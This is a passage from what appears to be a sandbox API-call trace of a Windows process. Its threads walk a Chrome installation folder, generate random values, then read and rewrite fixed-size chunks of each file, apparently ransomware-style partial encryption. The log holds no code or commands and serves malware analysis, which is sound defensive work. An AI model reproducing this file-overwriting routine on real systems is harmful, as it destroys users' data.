wcscmp (_String1="..", _String2=".") returned 1 [0055.873] wcscmp (_String1="..", _String2="..") returned 0 [0055.873] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrmstp.exe", cAlternateFileName="")) returned 1 [0055.873] wcscmp (_String1="chrmstp.exe", _String2=".") returned 1 [0055.873] wcscmp (_String1="chrmstp.exe", _String2="..") returned 1 [0055.873] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8388e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c8388e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81d5b9a8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0xad7d02b, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.7z", cAlternateFileName="")) returned 1 [0055.873] wcscmp (_String1="chrome.7z", _String2=".") returned 1 [0055.873] wcscmp (_String1="chrome.7z", _String2="..") returned 1 [0055.873] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x4433e0 [0055.874] wcscpy (in: _Dest=0x4433e0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" [0055.874] wcscat (in: _Dest=0x4433e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\" [0055.874] wcscat (in: _Dest=0x4433e0, _Source="chrome.7z" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" [0066.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4433e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1290 [0066.005] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0066.005] wcscmp (_String1="setup.exe", _String2=".") returned 1 [0066.005] wcscmp (_String1="setup.exe", _String2="..") returned 1 [0066.005] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 0 [0066.005] FindClose (in: hFindFile=0x440220 | out: hFindFile=0x440220) returned 1 [0066.005] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b4a8) returned 1 [0066.005] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424420) returned 1 [0066.005] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423b20) returned 1 Thread: id = 492 os_tid = 0xea0 [0049.287] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x4244c0 [0049.287] wcscpy (in: _Dest=0x4244c0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0049.287] wcscat (in: _Dest=0x4244c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0049.287] wcscat (in: _Dest=0x4244c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*" [0049.287] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4597c8 [0049.287] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*", lpFindFileData=0x4597c8 | out: lpFindFileData=0x4597c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0e8 [0057.616] wcscmp (_String1=".", _String2=".") returned 0 [0057.616] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x4597c8 | out: lpFindFileData=0x4597c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.089] wcscmp (_String1="..", _String2=".") returned 1 [0059.089] wcscmp (_String1="..", _String2="..") returned 0 [0059.089] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x4597c8 | out: lpFindFileData=0x4597c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeae1a98, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am.pak", cAlternateFileName="")) returned 1 [0059.089] wcscmp (_String1="am.pak", _String2=".") returned 1 [0059.089] wcscmp (_String1="am.pak", _String2="..") returned 1 [0059.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43ed88 [0059.089] wcscpy (in: _Dest=0x43ed88, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0059.089] wcscat (in: _Dest=0x43ed88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0059.089] wcscat (in: _Dest=0x43ed88, _Source="am.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak" Thread: id = 493 os_tid = 0xea4 [0049.288] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\nacl_irt_x86_64.nexe")) returned 0x20 [0055.876] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe", dwFileAttributes=0x20) returned 1 [0058.036] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\nacl_irt_x86_64.nexe"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x268 [0058.037] GetFileSizeEx (in: hFile=0x268, lpFileSize=0xbecf930 | out: lpFileSize=0xbecf930*=3671600) returned 1 [0058.037] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x38062c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.039] ReadFile (in: hFile=0x268, lpBuffer=0xbecf8b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbecf8b0, lpOverlapped=0x0 | out: lpBuffer=0xbecf8b4*, lpNumberOfBytesRead=0xbecf8b0*=0x4, lpOverlapped=0x0) returned 1 [0058.040] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.041] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441410 [0058.041] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441258 [0058.041] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441230 [0058.041] NtQuerySystemTime (in: CurrentTime=0xbecf890 | out: CurrentTime=0xbecf890*=132174898220244000) returned 0x0 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x3ea72012 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x2c5cb0e7 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x78637bd6 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x1999fb30 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x6f069176 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x272f9aa6 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x4062636 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x4cb06092 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x2bf8a441 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x2bf8a441 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x3870d1 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x26afe6af [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x29582b2d [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x4fb39e12 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x2f7b1a08 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x7808782d [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x5797d699 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x2d15b19d [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x3a31b414 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x666b6f26 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x63830f5 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x1b993575 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x436a6f27 [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x26e7eddf [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x7c7d4f5c [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x3922a17a [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x6426c71b [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x3520d8dc [0058.041] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x6d9f7987 [0058.042] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x55e60a09 [0058.042] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x57554a7f [0058.042] RtlRandomEx (in: Seed=0xbecf89c | out: Seed=0xbecf89c) returned 0x5e6c1ccf [0058.053] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.053] ReadFile (in: hFile=0x268, lpBuffer=0x19679158, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xbecf848, lpOverlapped=0x0 | out: lpBuffer=0x19679158*, lpNumberOfBytesRead=0xbecf848*=0xc800, lpOverlapped=0x0) returned 1 [0058.055] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c168 [0058.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0058.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441410 [0058.055] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441410) returned 1 [0058.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19685960 [0058.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441410 [0058.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441230 [0058.057] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441230) returned 1 [0058.057] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0058.057] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0058.057] WriteFile (in: hFile=0x268, lpBuffer=0x19685960*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xbecf848, lpOverlapped=0x0 | out: lpBuffer=0x19685960*, lpNumberOfBytesWritten=0xbecf848*=0xc800, lpOverlapped=0x0) returned 1 [0059.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19685960) returned 1 [0059.271] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x1c2000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.271] ReadFile (in: hFile=0x268, lpBuffer=0x19679158, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xbecf848, lpOverlapped=0x0 | out: lpBuffer=0x19679158*, lpNumberOfBytesRead=0xbecf848*=0xc800, lpOverlapped=0x0) returned 1 [0059.273] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x1c2000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb80 [0059.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b8e8 [0059.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf118 [0059.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf118) returned 1 [0059.274] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19685960 [0059.274] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf118 [0059.274] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf140 [0059.274] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf140) returned 1 [0059.274] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b8e8) returned 1 [0059.274] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0059.274] WriteFile (in: hFile=0x268, lpBuffer=0x19685960*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xbecf848, lpOverlapped=0x0 | out: lpBuffer=0x19685960*, lpNumberOfBytesWritten=0xbecf848*=0xc800, lpOverlapped=0x0) returned 1 [0062.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19685960) returned 1 [0062.342] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x373e30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.343] ReadFile (in: hFile=0x268, lpBuffer=0x19679158, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xbecf848, lpOverlapped=0x0 | out: lpBuffer=0x19679158*, lpNumberOfBytesRead=0xbecf848*=0xc800, lpOverlapped=0x0) returned 1 [0062.344] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x373e30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.344] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402ba0 [0062.344] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0062.344] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8f08 [0062.344] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f08) returned 1 [0062.345] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19685960 [0062.346] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8f08 [0062.346] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8ff8 [0062.346] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8ff8) returned 1 [0062.346] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0062.346] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0062.346] WriteFile (in: hFile=0x268, lpBuffer=0x19685960*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xbecf848, lpOverlapped=0x0 | out: lpBuffer=0x19685960*, lpNumberOfBytesWritten=0xbecf848*=0xc800, lpOverlapped=0x0) returned 1 [0066.242] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19685960) returned 1 [0066.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d938 [0066.242] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.242] WriteFile (hFile=0x268, lpBuffer=0x423fb8, nNumberOfBytesToWrite=0x159, lpNumberOfBytesWritten=0xbecf8f0, lpOverlapped=0x0) Thread: id = 494 os_tid = 0xea8 [0049.288] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin")) returned 0x20 [0055.877] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin", dwFileAttributes=0x20) returned 1 [0058.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8dc [0058.058] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0xc26fccc | out: lpFileSize=0xc26fccc*=262947) returned 1 [0058.058] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x4031f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.058] ReadFile (in: hFile=0x8dc, lpBuffer=0xc26fc50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc26fc4c, lpOverlapped=0x0 | out: lpBuffer=0xc26fc50*, lpNumberOfBytesRead=0xc26fc4c*=0x4, lpOverlapped=0x0) returned 1 [0058.059] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.059] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441230 [0058.059] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e88 [0058.059] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428de8 [0058.059] NtQuerySystemTime (in: CurrentTime=0xc26fc2c | out: CurrentTime=0xc26fc2c*=132174898220400000) returned 0x0 [0058.059] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x193620a6 [0058.059] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x1a447765 [0058.059] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x5de8c004 [0058.059] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x2438a142 [0058.059] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x63110a90 [0058.059] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x74dc4a16 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x7c01954a [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x7200f6dd [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x47e3807e [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x3476056d [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x4fd462f4 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x5a9309f9 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x7018098e [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x62377978 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x3f306b3a [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x1a447765 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x4c169fcc [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x45b5e1ba [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x40fb1df9 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x6061a1ae [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x3fbdcc6b [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x9014aa7 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x6c97c720 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x47a1c770 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x756685fa [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x44d9934c [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x43c705ce [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x3189c568 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x441d55fd [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x34f68fad [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x6e5626d5 [0058.060] RtlRandomEx (in: Seed=0xc26fc38 | out: Seed=0xc26fc38) returned 0x41140325 [0058.072] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.072] ReadFile (in: hFile=0x8dc, lpBuffer=0x19692168, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc26fbe4, lpOverlapped=0x0 | out: lpBuffer=0x19692168*, lpNumberOfBytesRead=0xc26fbe4*=0xc800, lpOverlapped=0x0) returned 1 [0058.074] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c168 [0058.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0058.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441230 [0058.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441230) returned 1 [0058.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1969e970 [0058.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441230 [0058.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428de8 [0058.075] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428de8) returned 1 [0058.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0058.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0058.076] WriteFile (in: hFile=0x8dc, lpBuffer=0x1969e970*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc26fbe4, lpOverlapped=0x0 | out: lpBuffer=0x1969e970*, lpNumberOfBytesWritten=0xc26fbe4*=0xc800, lpOverlapped=0x0) returned 1 [0059.277] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1969e970) returned 1 [0059.277] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.277] ReadFile (in: hFile=0x8dc, lpBuffer=0x19692168, 